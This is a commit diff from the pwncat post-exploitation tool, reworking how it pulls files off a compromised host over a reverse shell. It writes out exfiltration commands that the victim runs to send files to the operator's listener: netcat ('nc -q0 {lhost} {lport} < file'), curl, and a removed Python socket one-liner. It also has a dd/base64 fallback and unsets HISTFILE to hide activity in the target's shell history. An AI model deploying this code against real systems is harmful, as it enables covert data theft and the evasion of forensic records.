1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-30 20:34:15 +01:00

Working downloaders for netcat and shell.

This commit is contained in:
Caleb Stewart 2020-05-07 15:59:34 -04:00
parent 5801895cba
commit dfb5b26157
6 changed files with 125 additions and 119 deletions

View File

@ -1,4 +1,5 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
from typing import Type
from pwncat.downloader.base import Downloader, DownloadError from pwncat.downloader.base import Downloader, DownloadError
from pwncat.downloader.nc import NetcatDownloader from pwncat.downloader.nc import NetcatDownloader
@ -10,7 +11,7 @@ downloaders = [NetcatDownloader, CurlDownloader]
fallback = ShellDownloader fallback = ShellDownloader
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Downloader: def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Downloader]:
""" Locate an applicable downloader """ """ Locate an applicable downloader """
if hint is not None: if hint is not None:
@ -20,12 +21,18 @@ def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Downloader:
continue continue
d.check(pty) d.check(pty)
return d return d
else:
raise DownloadError(f"{hint}: no such downloader")
for d in downloaders: for d in downloaders:
try: try:
d.check(pty) d.check(pty)
return d return d
except DownloadError: except DownloadError as e:
continue continue
raise DownloadError("no acceptable downloaders found") try:
fallback.check(pty)
return fallback
except:
raise DownloadError("no acceptable downloaders found")

View File

@ -4,6 +4,7 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import TCPServer, BaseRequestHandler from socketserver import TCPServer, BaseRequestHandler
from functools import partial from functools import partial
import threading import threading
import socket
from pwncat import util from pwncat import util
@ -46,8 +47,11 @@ class Downloader:
class HttpPostFileReceiver(BaseHTTPRequestHandler): class HttpPostFileReceiver(BaseHTTPRequestHandler):
def __init__(self, request, addr, server, downloader: "HTTPDownloader"): def __init__(
self, request, addr, server, downloader: "HTTPDownloader", on_progress: Callable
):
self.downloader = downloader self.downloader = downloader
self.on_progress = on_progress
super(HttpPostFileReceiver, self).__init__(request, addr, server) super(HttpPostFileReceiver, self).__init__(request, addr, server)
def do_POST(self): def do_POST(self):
@ -61,7 +65,7 @@ class HttpPostFileReceiver(BaseHTTPRequestHandler):
self.end_headers() self.end_headers()
with open(self.downloader.local_path, "wb") as filp: with open(self.downloader.local_path, "wb") as filp:
util.copyfileobj(self.rfile, filp, self.downloader.progress) util.copyfileobj(self.rfile, filp, self.on_progress)
def log_message(self, *args, **kwargs): def log_message(self, *args, **kwargs):
return return
@ -79,19 +83,15 @@ class HTTPDownloader(Downloader):
raise DownloadError("no lhost provided") raise DownloadError("no lhost provided")
def __init__( def __init__(
self, self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
pty: "pwncat.pty.PtyHandler",
remote_path: str,
local_path: str,
on_progress: Callable = None,
): ):
super(HTTPDownloader, self).__init__(pty, remote_path, local_path) super(HTTPDownloader, self).__init__(pty, remote_path, local_path)
self.server = None self.server = None
self.on_progress = on_progress
def serve(self, on_progress: Callable): def serve(self, on_progress: Callable):
self.server = HTTPServer( self.server = HTTPServer(
("0.0.0.0", 0), partial(HttpPostFileReceiver, downloader=self) ("0.0.0.0", 0),
partial(HttpPostFileReceiver, downloader=self, on_progress=on_progress),
) )
thread = threading.Thread( thread = threading.Thread(
@ -116,27 +116,33 @@ class RawDownloader(Downloader):
raise DownloadError("no lhost provided") raise DownloadError("no lhost provided")
def __init__( def __init__(
self, self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
pty: "pwncat.pty.PtyHandler",
remote_path: str,
local_path: str,
on_progress: Callable = None,
): ):
super(RawDownloader, self).__init__(pty, remote_path, local_path) super(RawDownloader, self).__init__(pty, remote_path, local_path)
self.server = None self.server = None
self.on_progress = on_progress
def serve(self, on_progress: Callable): def serve(self, on_progress: Callable):
# Make sure it is accessible to the subclass # Make sure it is accessible to the subclass
local_path = self.local_path local_path = self.local_path
class SocketWrapper:
def __init__(self, sock):
self.s = sock
def read(self, n: int):
try:
return self.s.recv(n)
except socket.timeout:
return b""
# Class to handle incoming connections # Class to handle incoming connections
class ReceiveFile(BaseRequestHandler): class ReceiveFile(BaseRequestHandler):
def handle(self): def handle(self):
self.request.settimeout(1) self.request.settimeout(1)
with open(local_path, "wb") as fp: with open(local_path, "wb") as fp:
util.copyfileobj(self.request.makefile("rb"), fp, on_progress) util.copyfileobj(SocketWrapper(self.request), fp, on_progress)
self.request.close()
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile) self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)

View File

@ -7,14 +7,15 @@ from pwncat.downloader.base import HTTPDownloader, DownloadError
class CurlDownloader(HTTPDownloader): class CurlDownloader(HTTPDownloader):
NAME = "curl"
BINARIES = ["curl"] BINARIES = ["curl"]
def command(self) -> Generator[str, None, None]: def command(self) -> Generator[str, None, None]:
""" Generate the curl command to post the file """ """ Generate the curl command to post the file """
lhost = self.pty.vars["lhost"] lhost = self.pty.vars["lhost"]
lport = self.server.server_address[2] lport = self.server.server_address[1]
curl = self.pty.which("curl") curl = self.pty.which("curl")
remote_path = shlex.quote(self.remote_path) remote_path = shlex.quote(self.remote_path)
yield f"{curl} --output {remote_path} http://{lhost}:{lport}" self.pty.run(f"{curl} --output {remote_path} http://{lhost}:{lport}")

View File

@ -7,14 +7,15 @@ from pwncat.downloader.base import RawDownloader, DownloadError
class NetcatDownloader(RawDownloader): class NetcatDownloader(RawDownloader):
NAME = "nc"
BINARIES = ["nc"] BINARIES = ["nc"]
def command(self) -> Generator[str, None, None]: def command(self) -> Generator[str, None, None]:
""" Return the commands needed to trigger this download """ """ Return the commands needed to trigger this download """
lhost = self.pty.vars["lhost"] lhost = self.pty.vars["lhost"]
lport = self.server.server_address[2] lport = self.server.server_address[1]
nc = self.pty.which("nc") nc = self.pty.which("nc")
remote_file = shlex.quote(self.remote_path) remote_file = shlex.quote(self.remote_path)
yield f"{nc} {lhost} {lport} < {remote_file}" self.pty.run(f"{nc} -q0 {lhost} {lport} < {remote_file}")

View File

@ -23,8 +23,10 @@ class ShellDownloader(Downloader):
while True: while True:
# Read the data # Read the data
x = yield "dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format( x = self.pty.run(
remote_path, self.BLOCKSZ, blocknr "dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format(
remote_path, self.BLOCKSZ, blocknr
)
) )
if x == b"" or x == b"\r\n": if x == b"" or x == b"\r\n":
break break
@ -34,7 +36,7 @@ class ShellDownloader(Downloader):
# Send the data and call the progress function # Send the data and call the progress function
filp.write(data) filp.write(data)
copied += data copied += len(data)
self.on_progress(copied, len(data)) self.on_progress(copied, len(data))
# Increment block number # Increment block number

View File

@ -13,6 +13,7 @@ import sys
import os import os
from pwncat import util from pwncat import util
from pwncat import downloader
class State(enum.Enum): class State(enum.Enum):
@ -33,20 +34,20 @@ class PtyHandler:
} }
INTERESTING_BINARIES = [ INTERESTING_BINARIES = [
("python", "python", 9999), "python",
("python2", "python", 9998), "python2",
("python3", "python", 10000), "python3",
("perl", "perl", 0), "perl",
("bash", "sh", 10000), "bash",
("dash", "sh", 9999), "dash",
("zsh", "sh", 9999), "zsh",
("sh", "sh", 0), "sh",
("curl", "curl", 0), "curl",
("wget", "wget", 0), "wget",
("nc", "nc", 0), "nc",
("netcat", "nc", 0), "netcat",
("ncat", "nc", 0), "ncat",
("script", "script", 0), "script",
] ]
def __init__(self, client: socket.SocketType): def __init__(self, client: socket.SocketType):
@ -62,6 +63,18 @@ class PtyHandler:
self.known_binaries = {} self.known_binaries = {}
self.vars = {"lhost": None} self.vars = {"lhost": None}
self.prompt = PromptSession("localhost$ ") self.prompt = PromptSession("localhost$ ")
self.binary_aliases = {
"python": [
"python2",
"python3",
"python2.7",
"python3.6",
"python3.8",
"python3.9",
],
"sh": ["bash", "zsh", "dash"],
"nc": ["netcat", "ncat"],
}
# We should always get a response within 3 seconds... # We should always get a response within 3 seconds...
self.client.settimeout(3) self.client.settimeout(3)
@ -77,26 +90,24 @@ class PtyHandler:
self.recvuntil(b"\n") self.recvuntil(b"\n")
# Locate interesting binaries # Locate interesting binaries
for name, friendly, priority in PtyHandler.INTERESTING_BINARIES: # The auto-resolving doesn't work correctly until we have a pty
# so, we manually resolve a list of useful binaries prior to spawning
# a pty
for name in PtyHandler.INTERESTING_BINARIES:
util.info(f"resolving remote binary: {name}", overlay=True) util.info(f"resolving remote binary: {name}", overlay=True)
# We already found a preferred option
if (
friendly in self.known_binaries
and self.known_binaries[friendly][1] > priority
):
continue
# Look for the given binary # Look for the given binary
response = self.run(f"which {shlex.quote(name)}", has_pty=False) response = self.run(f"which {shlex.quote(name)}", has_pty=False)
if response == b"": if response == b"":
continue continue
self.known_binaries[friendly] = (response.decode("utf-8"), priority) self.known_binaries[name] = response.decode("utf-8")
# Now, we can resolve using `which` w/ request=False for the different
# methods
for m, cmd in PtyHandler.OPEN_METHODS.items(): for m, cmd in PtyHandler.OPEN_METHODS.items():
if m in self.known_binaries: if self.which(m, request=False) is not None:
method_cmd = cmd.format(self.known_binaries[m][0]) method_cmd = cmd.format(self.which(m, request=False))
method = m method = m
break break
else: else:
@ -107,7 +118,8 @@ class PtyHandler:
util.info(f"opening pseudoterminal via {method}", overlay=True) util.info(f"opening pseudoterminal via {method}", overlay=True)
client.sendall(method_cmd.encode("utf-8") + b"\n") client.sendall(method_cmd.encode("utf-8") + b"\n")
# Make sure HISTFILE is unset in this PTY # Make sure HISTFILE is unset in this PTY (it resets when a pty is
# opened)
self.run("unset HISTFILE") self.run("unset HISTFILE")
# Synchronize the terminals # Synchronize the terminals
@ -117,6 +129,32 @@ class PtyHandler:
# Force the local TTY to enter raw mode # Force the local TTY to enter raw mode
self.enter_raw() self.enter_raw()
def which(self, name: str, request=True) -> str:
""" Call which on the remote host and return the path. The results are
cached to decrease the number of remote calls. """
path = None
if name in self.known_binaries and self.known_binaries[name] is not None:
# Cached value available
path = self.known_binaries[name]
elif name not in self.known_binaries and request:
# It hasn't been looked up before, request it.
path = self.run(f"which {shlex.quote(name)}").decode("utf-8")
if path == "":
path = None
if name in self.binary_aliases and path is None:
# Look for aliases of this command as a last resort
for alias in self.binary_aliases[name]:
path = self.which(alias)
if path is not None:
break
# Cache the value
self.known_binaries[name] = path
return path
def process_input(self, data: bytes): def process_input(self, data: bytes):
r""" Process a new byte of input from stdin. This is to catch "\r~C" and open r""" Process a new byte of input from stdin. This is to catch "\r~C" and open
a local prompt """ a local prompt """
@ -205,28 +243,10 @@ class PtyHandler:
def do_download(self, argv): def do_download(self, argv):
uploaders = {
"curl": (
"http",
"{cmd} -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
),
"XXXX": (
"http",
"{cmd} --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
),
"nc": ("raw", "nc {lhost} {lport} < {remote_file}"),
"python": (
"raw",
"""{cmd} -c 'from socket import AF_INET, socket, SOCK_STREAM; import shutil; s=socket(AF_INET, SOCK_STREAM); s.connect(("{lhost}", {lport})); fp = open("{remote_file}", "rb"); shutil.copyfileobj(fp, s.makefile("wb", buffering=0))'""",
),
}
servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}
parser = argparse.ArgumentParser(prog="download") parser = argparse.ArgumentParser(prog="download")
parser.add_argument( parser.add_argument(
"--method", "--method",
"-m", "-m",
choices=uploaders.keys(),
default=None, default=None,
help="set the download method (default: auto)", help="set the download method (default: auto)",
) )
@ -244,32 +264,20 @@ class PtyHandler:
# The arguments were parsed incorrectly, return. # The arguments were parsed incorrectly, return.
return return
if self.vars.get("lhost", None) is None: try:
util.error("[!] you must provide an lhost address for reverse connections!") # Locate an appropriate downloader class
DownloaderClass = downloader.find(self, args.method)
except downloader.DownloadError as exc:
util.error(f"{exc}")
return return
if args.method is not None and args.method not in self.known_binaries: # Grab the arguments
util.error(f"{args.method}: method unavailable")
elif args.method is not None:
method = uploaders[args.method]
else:
method = None
for m, info in uploaders.items():
if m in self.known_binaries:
util.info(f"downloading via {m}")
method = info
args.method = m
break
else:
util.warn(
"no available download methods. falling back to dd/base64 method"
)
path = args.path path = args.path
basename = os.path.basename(args.path) basename = os.path.basename(args.path)
name = basename
outfile = args.output.format(basename=basename) outfile = args.output.format(basename=basename)
download = DownloaderClass(self, remote_path=path, local_path=outfile)
# Get the remote file size # Get the remote file size
size = self.run(f'stat -c "%s" {shlex.quote(path)} 2>/dev/null || echo "none"') size = self.run(f'stat -c "%s" {shlex.quote(path)} 2>/dev/null || echo "none"')
if b"none" in size: if b"none" in size:
@ -277,7 +285,7 @@ class PtyHandler:
return return
size = int(size) size = int(size)
with ProgressBar("downloading") as pb: with ProgressBar(f"downloading with {download.NAME}") as pb:
counter = pb(range(os.path.getsize(path))) counter = pb(range(os.path.getsize(path)))
last_update = time.time() last_update = time.time()
@ -291,32 +299,9 @@ class PtyHandler:
if (time.time() - last_update) > 0.1: if (time.time() - last_update) > 0.1:
pb.invalidate() pb.invalidate()
if method is not None: download.serve(on_progress)
server = servers[method[0]](outfile, name, progress=on_progress)
command = method[1].format( download.command()
cmd=self.known_binaries[args.method][0],
remote_file=shlex.quote(path),
lhost=self.vars["lhost"],
lfile=name,
lport=server.server_address[1],
)
result = self.run(command, wait=False)
else:
server = None
path = shlex.quote(path)
with open(outfile, "wb") as fp:
copied = 0
blocksz = 1024 * 10
for chunk_nr in range(0, size // blocksz):
# Send the command
encoded = self.run(
f"dd if={path} bs={blocksz} count=1 skip={chunk_nr} 2>/dev/null | base64 -w0",
)
chunk = base64.b64decode(encoded)
fp.write(chunk)
copied += len(chunk)
on_progress(copied, len(chunk))
try: try:
while not counter.done: while not counter.done:
@ -324,8 +309,7 @@ class PtyHandler:
except KeyboardInterrupt: except KeyboardInterrupt:
pass pass
finally: finally:
if server is not None: download.shutdown()
server.shutdown()
# https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964 # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
time.sleep(0.1) time.sleep(0.1)
@ -460,7 +444,12 @@ class PtyHandler:
parser = argparse.ArgumentParser(prog="set") parser = argparse.ArgumentParser(prog="set")
parser.add_argument("variable", help="the variable name") parser.add_argument("variable", help="the variable name")
parser.add_argument("value", help="the new variable type") parser.add_argument("value", help="the new variable type")
args = parser.parse_args(argv)
try:
args = parser.parse_args(argv)
except SystemExit:
# The arguments were parsed incorrectly, return.
return
self.vars[args.variable] = args.value self.vars[args.variable] = args.value